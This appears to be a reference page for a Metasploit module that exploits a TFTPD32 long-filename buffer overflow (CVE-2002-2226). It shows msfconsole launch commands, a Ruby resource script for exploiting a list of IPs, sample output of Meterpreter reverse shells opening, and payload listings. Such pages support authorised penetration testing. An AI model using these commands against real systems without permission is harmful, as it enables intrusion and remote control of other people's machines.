TFTPD32 Long Filename Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/windows/tftp/tftpd32_long_filename metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: TFTPD32 Long Filename Buffer Overflow
Module: exploit/windows/tftp/tftpd32_long_filename
Source code: modules/exploits/windows/tftp/tftpd32_long_filename.rb
Disclosure date: 2002-11-19
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 69
List of CVEs: CVE-2002-2226
This module exploits a stack buffer overflow in TFTPD32 version 2.21 and prior. By sending a request for an overly long file name to the tftpd32 server, a remote attacker could overflow a buffer and execute arbitrary code on the system.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Basic Usage
Using tftpd32_long_filename against a single host
Normally, you can use exploit/windows/tftp/tftpd32_long_filename this way:
msf > use exploit/windows/tftp/tftpd32_long_filename
msf exploit(tftpd32_long_filename) > show targets
... a list of targets ...
msf exploit(tftpd32_long_filename) > set TARGET target-id
msf exploit(tftpd32_long_filename) > show options
... show and set options ...
msf exploit(tftpd32_long_filename) > exploit
Using tftpd32_long_filename against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your tftpd32_long_filename will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/tftp/tftpd32_long_filename")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the windows/tftp/tftpd32_long_filename exploit module looks in the msfconsole:
msf6 > use exploit/windows/tftp/tftpd32_long_filename
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(windows/tftp/tftpd32_long_filename) > show info
Name: TFTPD32 Long Filename Buffer Overflow
Module: exploit/windows/tftp/tftpd32_long_filename
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2002-11-19
Provided by:
MC <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
1 Windows NT 4.0 SP6a English
2 Windows 2000 Pro SP4 English
3 Windows XP Pro SP0 English
4 Windows XP Pro SP1 English
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 69 yes The target port (UDP)
Payload information:
Space: 250
Avoid: 1 characters
Description:
This module exploits a stack buffer overflow in TFTPD32 version 2.21
and prior. By sending a request for an overly long file name to the
tftpd32 server, a remote attacker could overflow a buffer and
execute arbitrary code on the system.
References:
https://nvd.nist.gov/vuln/detail/CVE-2002-2226
OSVDB (45903)
http://www.securityfocus.com/bid/6199
Module Options
This is a complete list of options available in the windows/tftp/tftpd32_long_filename exploit:
msf6 exploit(windows/tftp/tftpd32_long_filename) > show options
Module options (exploit/windows/tftp/tftpd32_long_filename):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 69 yes The target port (UDP)
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the windows/tftp/tftpd32_long_filename exploit:
msf6 exploit(windows/tftp/tftpd32_long_filename) > show advanced
Module advanced options (exploit/windows/tftp/tftpd32_long_filename):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/tftp/tftpd32_long_filename module can exploit:
msf6 exploit(windows/tftp/tftpd32_long_filename) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Windows NT 4.0 SP6a English
2 Windows 2000 Pro SP4 English
3 Windows XP Pro SP0 English
4 Windows XP Pro SP1 English
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/tftp/tftpd32_long_filename exploit:
msf6 exploit(windows/tftp/tftpd32_long_filename) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
6 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
7 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
8 payload/windows/exec normal No Windows Execute Command
9 payload/windows/loadlibrary normal No Windows LoadLibrary Path
10 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
11 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
12 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
13 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
14 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
15 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
16 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
17 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
18 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
19 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
20 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
21 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
22 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
23 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
24 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
25 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
26 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
27 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
28 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
29 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
30 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
31 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
32 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
33 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
34 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
35 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
Evasion Options
Here is the full list of possible evasion options supported by the windows/tftp/tftpd32_long_filename exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/tftp/tftpd32_long_filename) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3087 Merged Pull Request: Fix first chunk of msftidy "bad char" errors
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
- CVE-2002-2226
- OSVDB (45903)
- BID-6199
See Also
Check also the following modules related to this module:
- auxiliary/admin/tftp/tftp_transfer_util
- auxiliary/dos/scada/d20_tftp_overflow
- auxiliary/dos/windows/tftp/pt360_write
- auxiliary/dos/windows/tftp/solarwinds
- auxiliary/scanner/snmp/cisco_config_tftp
- auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp
- auxiliary/scanner/tftp/netdecision_tftp
- auxiliary/scanner/tftp/tftpbrute
- auxiliary/server/tftp
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/freefloatftp_user
- exploit/windows/ftp/freefloatftp_wbem
- exploit/windows/ftp/netterm_netftpd_user
- exploit/windows/ftp/scriptftp_list
- exploit/windows/tftp/attftp_long_filename
- exploit/windows/tftp/distinct_tftp_traversal
- exploit/windows/tftp/dlink_long_filename
- exploit/windows/tftp/futuresoft_transfermode
- exploit/windows/tftp/netdecision_tftp_traversal
- exploit/windows/tftp/opentftp_error_code
- exploit/windows/tftp/quick_tftp_pro_mode
- exploit/windows/tftp/tftpdwin_long_filename
- exploit/windows/tftp/tftpserver_wrq_bof
- exploit/windows/tftp/threectftpsvc_long_mode
- post/windows/gather/credentials/smartftp
- exploit/windows/http/hp_power_manager_filename
- exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce
- exploit/multi/http/playsms_filename_exec
Authors
MC
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.